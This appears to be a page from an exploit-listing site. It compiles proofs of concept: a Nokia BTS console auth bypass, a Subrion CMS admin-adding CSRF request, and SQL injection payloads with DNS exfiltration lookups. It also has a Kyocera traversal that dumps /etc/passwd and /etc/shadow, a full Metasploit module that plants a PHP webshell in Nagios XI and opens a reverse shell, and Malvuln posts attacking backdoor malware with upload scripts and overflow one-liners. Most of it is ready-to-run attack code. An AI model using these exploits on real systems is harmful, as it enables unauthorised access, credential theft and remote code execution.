Latest exploits :: CodePwn

<pre><code> title: Nokia Transport Module Authentication Bypass case id: CM-2020-02 product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010) vulnerability type: Authentication Bypass severity: Critical found: 2020-09-28 CVE: CVE-2021-31932 by: Cristiano Maruti (@cmaruti) [EXECUTIVE SUMMARY] The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. The analysis discovered an authentication bypass vulnerability (CWE-289) in the web management console. A malicious unauthenticated user can get access to all the functionalities exposed via the web panel circumventing the authentication process. The vulnerability lies in the way the web server in use (lighttpd) protects restricted resources and how special characters are encoded and pass to the underline CGIs. A successful attack can read data from the BTS and read, modify or delete BTS configuration. [VULNERABLE VERSIONS] The following version of the TRS web console was affected by the vulnerability; previous versions may be vulnerable as well: - BTS TRS web console (FTM_W20_FP2_2019.08.16_0010) [TECHNICAL DETAILS] It is possible to reproduce the vulnerability following these steps: 1. Open a web browser and insert the BTS TRS web console IP 2. Navigate to a protected resource (for example /protected/ShowErrorLog.cgi) 3. Subsitute the dot character with the corresponding URL encoded value (%2e) 4. Resulting URL (/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken) give access without prompt for any authentication credential Below a full transcript of the HTTP request used to get access to a protected resource. HTTP Request ------------------------------------------------------------------------------- GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1 Host: <targetip> User-Agent: curl/7.67.0 Accept: */* ------------------------------------------------------------------------------- cURL PoC ------------------------------------------------------------------------------- # curl -vk https://<targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&frame=showLogFile [VULNERABILITY REFERENCE] Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932 [DISCLOSURE TIMELINE] 2020-10-06: Contacting Nokia PSIRT and shared the details of the vulnerability 2020-10-07: Nokia PSIRT acknowledge the receipt of the message. 2021-10-12: Vendor engineering team confirmed the vulnerability and working on patch (estimated time end of 2020). 2021-04-30: Research requested a CVE assignment through MITRE CVE Assignment Team; allocated CVE-2021-31932 2021-05-01: Researcher notified the assigned CVE number to the Vendor 2022-02-08: Researcher asked for permission to publicly release the report to the public; Nokia PSIRT acknowledged 2022-02-10: Public release -- Cristiano Maruti about.me/cmaruti </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP.Matiteman Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 21, authentication is required for remote user access. However, the credentials "matiteman" are weak and hardcoded in plaintext within the executable. Type: PE32 MD5: fc8eaa2a5752b509dbd02989d8d9f2e2 Vuln ID: MVID-2021-0425 Disclosure: 12/11/2021 Exploit/PoC: nc64.exe 192.168.18.125 21 welcome to mtm ftp server USER matiteman 331 Password required for matiteman. PASS matiteman 230 User matiteman logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP 250 CWD command successful. "c:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,194,37). STOR DOOM-SM.exe 150 Opening data connection for DOOM-SM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=49701 DOOM="DOOM-SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) # Date: 2022-02-09 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://subrion.org # Software Link: https://subrion.org/download # Version: 4.2.1 # Tested on: Windows 10 # [ About - Subrion CMS ]: #Subrion is a PHP/MySQL based CMS & framework, #that allows you to build websites for any purpose, #Yes, from blog to corporate mega portal. # [ Description ]: # CSRF vulnerability was discovered in 4.2.1 version of Subrion CMS, # With this vulnerability, authorized users can be added to the system. # [ Sample CSRF Request ]: POST /subrion/panel/members/add/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------386122140640094420852486902 Content-Length: 2522 Origin: http://localhost Connection: close Referer: http://localhost/subrion/panel/members/add/ Cookie: loader=loaded; INTELLI_ffd8ae8438=ftph4lgam8hugh8j0mgv8j4q2l Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="__st" YNXrr7MjSY0Qi0JYISJ7DRuC9Gd1zxPYwjHcFKVh -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="username" Aryan -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="fullname" AryanChehreghani -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="email" aryanchehreghani@yahoo.com -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="_password" Test1234! -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="_password2" Test1234! -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="usergroup_id" 1 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="website" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="phone" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="biography" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="facebook" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="twitter" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="gplus" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="linkedin" -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="email_language" en -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="sponsored" 0 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="featured" 0 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="featured_end" 2022-03-09 12:03 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="status" active -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="save" 1 -----------------------------386122140640094420852486902 Content-Disposition: form-data; name="goto" list -----------------------------386122140640094420852486902-- </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BackAttack.20 Vulnerability: Authentication Bypass RCE Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can enable its FTP server. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Type: PE32 MD5: 8b484576f928c256277016104cc364c2 Vuln ID: MVID-2021-0424 Disclosure: 12/11/2021 Exploit/PoC: nc64.exe 192.168.18.125 21 220 httP://www.CurrenTChaoS.Tk - BackAtTack2.0 ftp server- USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,194,33). STOR DOOM-SM.exe 150 Opening data connection for DOOM-SM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=49697 DOOM="DOOM-SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>## [Simple Forum-Discussion System 1.0](https://www.sourcecodester.com/php/14525/simple-forumdiscussion-system-using-phpmysql-source-code.html) ## [Vendor](https://www.sourcecodester.com/users/tips23) ![](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/Forum-Discussion-System-1.0/docs/forum.png) ## Description: Multiple SQL-Injections are found on Simple Forum-Discussion System 1.0 For example on three applications which are manage_topic.php, manage_user.php, and ajax.php. The attacker can be retrieving all information from the database of this system by using this vulnerability. [+]Payloads: ```mysql Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=(select load_file('\\\\c7kvyxxyc2i5yh8l3p6byhxtxk3drff6hu8hy5n.nu11secur1tyPenetrationTestingEngineer.net\\nix')) AND (SELECT 4985 FROM (SELECT(SLEEP(5)))Eggb) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=(select load_file('\\\\c7kvyxxyc2i5yh8l3p6byhxtxk3drff6hu8hy5n.nu11secur1tyPenetrationTestingEngineer.net\\nix')) UNION ALL SELECT NULL,NULL,CONCAT(0x7162627871,0x564c7a5164475979514c4879487159576946726147756c7746504d696a5a6c6554547345776f4d61,0x716a7a7171),NULL,NULL,NULL-- - ``` ```mysql Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=135628119 or 8604=08604 AND 5328=5328&mtype=own Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=135628119 or 8604=08604 AND (SELECT 6263 FROM (SELECT(SLEEP(5)))lewZ)&mtype=own Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: id=-6332 UNION ALL SELECT CONCAT(0x7176766b71,0x4b717847474f67485458796b544c50486c656e637779445a6c506b63756d564a544f665364557772,0x7171707871),NULL,NULL,NULL,NULL-- -&mtype=own ``` ```mysql Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=GnxaCRMw'+(select load_file('\\\\p2s8tasb7fditu3yy21otus6sxyqmjg77av2is6h.nu11secur1tyPenetrationTestingEngineer.net\\fnu'))+'' AND (SELECT 1271 FROM (SELECT(SLEEP(5)))MBvz) AND 'eIbF'='eIbF&password=t4F!v8o!H8 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/Forum-Discussion-System-1.0) ## Proof and Exploit: [href](https://streamable.com/439w8c) </code></pre>

<pre><code># Exploit Title: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated) # Author: Luis Martinez # Discovery Date: 2022-02-10 # Vendor Homepage: https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html # Tested Version: ECOSYS M2035dn # Tested on: Linux # Vulnerability Type: Directory Traversal File Disclosure (Unauthenticated) # Proof of Concept: # 1.- Create a directory traversal payload # 2.- Add nullbyte to the end of the payload(%00) # 3.- Sent your request Request 1: GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1 Cookie: rtl=0 Host: X.X.X.X Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Accept: */* Response 1: HTTP/1.1 200 OK Content-Length: 844 Upgrade: TLS/1.0 Accept-Encoding: identity Date: Thu, 10 Feb 2022 15:55:57 GMT Server: KM-MFP-http/V0.0.1 Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT ETag: "/js/../../../../../../../../etc/passwd, Thu, 10 Feb 2022 15:25:48 GMT" Content-Type: image/jpeg root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh adm:x:4:4:adm:/var/adm:/bin/sh lp:x:5:7:lp:/var/spool/lpd:/bin/sh sync:x:6:8:sync:/bin:/bin/sync shutdown:x:7:9:shutdown:/sbin:/sbin/shutdown halt:x:8:10:halt:/sbin:/sbin/halt mail:x:9:11:mail:/var/mail:/bin/sh news:x:10:12:news:/var/spool/news:/bin/sh uucp:x:11:13:uucp:/var/spool/uucp:/bin/sh operator:x:12:0:operator:/root:/bin/sh games:x:13:60:games:/usr/games:/bin/sh ftp:x:15:14:ftp:/var/ftp:/bin/sh man:x:16:20:man:/var/cache/man:/bin/sh www:x:17:18:www-data:/var/www:/bin/sh sshd:x:18:19:sshd:/var/run/sshd:/bin/sh proxy:x:19:21:proxy:/bin:/bin/sh telnetd:x:20:22:proxy:/bin:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh ais:x:101:101:ais:/var/run/ais:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh Request 2: GET /js/../../../../../../../../etc/shadow%00.jpg HTTP/1.1 Cookie: rtl=0 Host: X.X.X.X Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Accept: */* Response 2: HTTP/1.1 200 OK Content-Length: 480 Upgrade: TLS/1.0 Accept-Encoding: identity Date: Thu, 10 Feb 2022 16:10:16 GMT Server: KM-MFP-http/V0.0.1 Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT ETag: "/js/../../../../../../../../etc/shadow, Thu, 10 Feb 2022 15:25:48 GMT" Content-Type: image/jpeg root:$1$7NzW9Q4N$hXTtMygKjVUdJtW86EH3t1:15873:::::: bin:*:15873:::::: daemon:*:15873:::::: sys:*:15873:::::: adm:*:15873:::::: lp:*:15873:::::: sync:*:15873:::::: shutdown:*:15873:::::: halt:*:15873:::::: mail:*:15873:::::: news:*:15873:::::: uucp:*:15873:::::: operator:*:15873:::::: games:*:15873:::::: ftp:*:15873:::::: man:*:15873:::::: www:*:15873:::::: sshd:*:15873:::::: proxy:*:15873:::::: telnetd:*:15873:::::: backup:*:15873:::::: ais:*:15873:::::: nobody:*:15873:::::: </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BackAttack.20 Vulnerability: Unauthenticated Remote Command Execution Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can control an infected host. Third party-attackers who can reach the system can run commands made available by the malware E.g. take screenshot, restart the system, enable FTP or even destroy the backdoor etc. The web UI does not require authentication to execute these commands. Type: PE32 MD5: 8b484576f928c256277016104cc364c2 Vuln ID: MVID-2021-0423 Disclosure: 12/11/2021 Exploit/PoC: Show Skeleton http://x.x.x.x/showskeleton Show Sex http://x.x.x.x/showsex Whos logged on curl http://x.x.x.x/whoisthere Screen capture curl http://x.x.x.x/capturescreen Enable FTP curl http://x.x.x.x/ftpon Restart host curl http://x.x.x.x/restart Destroy the backdoor curl http://x.x.x.x/destroyyes -v Destroy action has been executed! -Restart procedure initiated also- Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Autodiscovery Webshell Upload', 'Description' => %q{ This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as `www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a path traversal to a writable and remotely accessible directory, and `custom_ports` field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well. }, 'License' => MSF_LICENSE, 'Author' => [ 'Claroty Team82', # vulnerability discovery 'jbaines-r7' # metasploit module ], 'References' => [ ['CVE', '2021-37343'], ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/'] ], 'DisclosureDate' => '2021-07-15', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { 'Append' => ' & disown' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]), OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]), OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) ] @webshell_uri = '/includes/components/highcharts/exporting-server/temp/' @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/' end # Authenticate and grab the version from the dashboard. Store auth cookies for later user. def check login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 return CheckCode::Detected('Nagios is not fully installed.') when 5 return CheckCode::Detected('The Nagios license has not been signed.') end # res_array[1] cannot be nil since the mixin checks for that already. @auth_cookies = res_array[1] nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') end # affected versions are 5.2.0 -> 5.8.4 if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') && Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0') return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}") end CheckCode::Safe("Determined using the self-reported version: #{nagios_version}") end # Using the path traversal, upload a php webshell to the remote target def drop_webshell autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/') print_status("Attempting to grab a CSRF token from #{autodisc_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => autodisc_uri, 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'newjob' } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job') # snag the nsp token from the response nsp = get_nsp(res) fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank? # drop a basic web shell on the server webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}") print_status("Uploading webshell to #{webshell_location}") php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' payload = 'update=1&' \ "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \ "nsp=#{nsp}&" \ 'address=127.0.0.1%2F0&' \ 'frequency=Yearly&' \ "custom_ports=#{php_webshell}&" res = send_request_cgi({ 'method' => 'POST', 'uri' => autodisc_uri, 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'newjob' }, 'data' => payload }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302 # Test the web shell installed by echoing a random string and ensure it appears in the res.body print_status('Testing if web shell installation was successful') rand_data = Rex::Text.rand_text_alphanumeric(16..32) res = execute_via_webshell("echo #{rand_data}") fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data) print_good("Web shell installed at #{webshell_location}") # This is a great place to leave a web shell for persistence since it doesn't require auth # to touch it. By default, we'll clean this up but the attacker has to option to leave it if datastore['DELETE_WEBSHELL'] register_file_for_cleanup("#{@webshell_path}#{@webshell_name}") end end # Successful exploitation creates a new job in the autodiscovery view. This function deletes # the job that there is no evidence of exploitation in the UI. def cleanup_job print_status('Deleting autodiscovery job') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'), 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'deletejob', 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}" } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302 end # Executes commands via the uploaded webshell def execute_via_webshell(cmd) cmd = Rex::Text.uri_encode(cmd) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}") }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 res end def execute_command(cmd, _opts = {}) execute_via_webshell(cmd) end def exploit # create a randomish web shell name if the user doesn't specify one @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php" drop_webshell print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end ensure cleanup_job end end </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ncx.b Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers. Type: PE32 MD5: 991c1f02c809cee860cb712896a45338 Vuln ID: MVID-2021-0422 ASLR: False DEP: False Safe SEH: True Disclosure: 12/11/2021 Memory Dump: (f40.12a4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe FAULTING_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 0314f9f4 -- (.exr 0x314f9f4) ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x00001555) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03150000 Attempt to write to address 03150000 PROCESS_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +1555 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 027d0b40 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0314fa44 -- (.cxr 0x314fa44) eax=00000041 ebx=7745e250 ecx=5804cfad edx=0314fdc4 esi=00000144 edi=027d0b40 eip=00401555 esp=0314fea4 ebp=740a1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x1555: 00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03150000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 027d0b40 to 00401555 FRAME_ONE_INVALID: 1 STACK_TEXT: 0314fea4 00401555 backdoor_win32_ncx_b+0x1555 0314fea8 027d0b40 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000314FA44 ; kb ; dds 314fea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_ncx_b+1555 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338 IMAGE_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe!Unknown Exploit/PoC: python -c "print('A'*3306)" | nc64.exe MALWARE_HOST 99 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>